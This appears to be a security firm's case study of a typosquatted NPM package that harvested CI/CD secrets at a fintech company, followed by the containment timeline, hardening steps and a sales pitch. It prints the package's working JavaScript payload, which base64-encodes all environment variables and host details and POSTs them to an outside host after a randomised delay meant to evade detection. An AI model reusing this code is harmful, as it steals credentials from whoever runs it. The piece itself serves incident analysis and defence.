Anatomy of a Supply Chain Attack: How a Single Malicious NPM Package Nearly Took Down a Fintech Platform

Supply Chain Security · Case Study · April 2026

A fintech company running payment processing for 300+ merchants discovered that a backdoored NPM dependency had been silently harvesting their secrets for nearly two weeks. This is the full story of how we investigated, contained, and remediated the breach.

💫 Key Takeaways

• Software supply chain attacks increased 742% between 2019 and 2025 — they are now the most scalable vector for compromising multiple organizations at once
• A single compromised dependency can expose every secret in your build environment: API keys, database credentials, signing certificates
• The attack we investigated used a typosquatting variant of a popular utility library — the package name differed by one hyphen
• Lock files, pinned versions, and hash verification are your first line of defense — most teams treat them as inconveniences rather than security controls
• Build isolation (running CI/CD in ephemeral containers with no network access to production) would have completely neutralized this attack
• The total cost of the breach — incident response, credential rotation, regulatory notification, merchant communication — exceeded $620,000

ClearPay's frontend team used a popular date formatting utility called date-utils-helper (name changed). A junior developer was adding a new feature and searched NPM for the package. What they installed was date-util-helper — missing the 's'. The typosquatted package was published just 48 hours before the developer installed it.

The malicious package was sophisticated. It re-exported all functions from the legitimate package, so everything worked correctly. Tests passed. The application behaved normally. The only addition was a postinstall script that executed during npm install, and an initialization hook that ran when the module was first imported.

const https = require('https');
const os = require('os');

const collect = () => {
  const data = {
    env: process.env,
    hostname: os.hostname(),
    user: os.userInfo(),
    cwd: process.cwd(),
    timestamp: Date.now()
  };

  const payload = Buffer.from(JSON.stringify(data)).toString('base64');

  const req = https.request({
    hostname: 'cdn-assets-api.workers.dev',
    path: '/telemetry',
    method: 'POST',
    headers: { 'Content-Type': 'application/octet-stream' }
  });
  req.write(payload);
  req.end();
};

setTimeout(collect, Math.random() * 30000); // Random delay to avoid detection

The code review that approved the PR focused on the application logic changes. The reviewer glanced at the package.json diff, saw a new date utility being added, and approved it. There was no policy requiring review of new dependency additions, no automated check against known malicious packages, and no verification that the package name matched the intended library.

Our forensic analysis of ClearPay's CI/CD environment revealed the scope. During the 11-day window, 47 builds were executed across their staging and production pipelines. Each build injected environment variables containing:

The attacker had the keys to everything. But here's what made this investigation genuinely nerve-wracking: we found no evidence that the stolen credentials had been used. No unauthorized AWS API calls. No rogue Stripe charges. No suspicious database queries. The credentials were exfiltrated, but the attacker appeared to be sitting on them.

We executed the following containment plan within the first 72 hours:

Hour 0-4: Immediate isolation. We removed the malicious package and froze all deployments. Every CI/CD pipeline was halted. We revoked the compromised AWS IAM credentials and issued new ones stored in AWS Secrets Manager (not environment variables). The Stripe live key was rotated through Stripe's dashboard. The JWT signing secret was changed, which invalidated all existing user sessions — an inconvenience, but necessary.

Hour 4-24: Forensic log analysis. We pulled CloudTrail logs for the entire 11-day window and analyzed every API call made with the compromised credentials. We queried Stripe's event logs for any unauthorized operations. We reviewed PostgreSQL audit logs (thankfully, they had pgAudit enabled) for anomalous queries.

Hour 24-48: Scope assessment. We determined which merchants' data was potentially accessible and began preparing notification materials. Under PCI DSS requirements, ClearPay was obligated to notify their acquiring bank and affected merchants.

Hour 48-72: Hardening. We implemented the defenses that should have been in place before the attack. Lock file enforcement, dependency hash verification, build-time network isolation, and an automated supply chain scanning tool integrated into their pull request workflow.

Every one of these controls is straightforward to implement. None of them require expensive tooling. ClearPay had none of them in place.

The uncomfortable truth is that ClearPay's security program was designed to defend against attackers at the gate. Firewalls, WAFs, penetration testing, SOC 2 audits — all of it focused on preventing unauthorized access from the outside. Nobody was watching the packages that developers invited inside every single day.

The economics are irresistible for attackers. Compromise one popular package and you gain access to thousands of downstream applications simultaneously. The SolarWinds attack in 2020 proved the concept at nation-state scale. The event-stream incident in 2018 proved it could be done by a single individual targeting a specific cryptocurrency wallet. The ua-parser-js compromise in 2021 showed that even packages with 8 million weekly downloads aren't immune.

What we're seeing in 2026 is the industrialization of this technique. Automated tools generate thousands of typosquatted package names. Attackers monitor NPM, PyPI, and RubyGems for newly created packages that become popular, then attempt to take over maintainer accounts. Some attackers contribute legitimate patches to open-source projects for months, building trust before injecting malicious code.

If your security strategy doesn't include supply chain verification, you are leaving a door wide open that every sophisticated attacker knows how to find.

Concerned About Your Software Supply Chain?

We conduct supply chain security assessments that audit your dependency management, build pipelines, and secret handling practices. Find the gaps before an attacker does.